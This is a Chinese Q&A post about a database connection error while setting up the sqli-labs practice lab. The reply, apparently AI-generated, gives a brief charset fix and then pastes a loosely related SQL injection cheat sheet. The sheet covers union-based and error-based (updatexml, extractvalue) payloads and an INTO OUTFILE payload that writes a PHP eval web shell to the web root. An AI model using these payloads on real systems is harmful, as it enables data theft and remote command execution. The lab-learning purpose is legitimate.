搭建sqli-labs靶场时数据库链接问题
查阅了目前网上的解决方案,都没有解决
目前的环境是php5.5.9nts,mysql5.7.26,apache2.4.39
引用 皆我百晓生 小程序回复内容作答:
根据报错信息,在连接数据库时遇到了字符集问题。可能是由于客户端和服务器的字符集不匹配导致的。解决这个问题的方法有:
$pdo->exec("set names utf8");
。另外,你可以尝试使用更稳定的版本,例如PHP 7.x和MySQL 5.7.x,这些版本可能会更好地兼容。
【相关推荐】
1、order by
该函数用于对结果集进行排序,主要用于猜字段。
例如我们在实验室less-1
输入?id=1
要确定它里面有多少个字段,就要用到order by了
例如输入?id=1 order by 3 --+
显示正常
再次输入?id=1 order by 4 --+
显示错误
所以的出,在?id=1
查看的这个表有3个字段
2、union
union在sql注入测试过程中,几乎经常用到,进行联合查询
例:?id=-1' union select 1,user(),database() --+
3、MIDSELECT MID(ColumnName, Start [, Length]) FROM TableName
4、LEFT(str,len)
返回字符串str的最左面len个字符
5、ASCII(str) =ORD
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL
6、SUBSTR(str,pos,len)
从str中多少个字符开始,截取多少位
7、CASTSELECT CAST(’12’ AS int)
将目标str转化为目标数据类型
8、IFNULL(expr1,expr2)
如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2
9、updatexml()updatexml(1,concat(0x7e,user(),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误显示user()该函数。但显示出来的内容最多只有32个字符串;利用原理对他是对XML文档进行更新的函数;
语法:updatexml(目标xml文档,xml路径,更新的内容)
10、extractvalue()
extractvalue也是运用于报错sql注入;利用原理对XML文档进行查询的函数;
语法:extractvalue(目标xml文档,xml路径)
熟悉mysql常见的判断语句函数
参考文章http://www.runoob.com/mysql/mysql-functions.html
11、LOAD_FILE
可以利用该函数,进写入shell
用法:select load_file(‘file1’) into outfile ‘file2’
将file1的文件导入WEB目录file2的文件中进行访问!
例:
?id=1’)) union select 1,2,’<?php* [@eval](https://github.com/eval)*($_POST[“cmd”]);?>’ into outfile “/home/wwwroot/default/test.php”—+*
看完后,有了大致了解,是时候开启注入攻关之旅了。。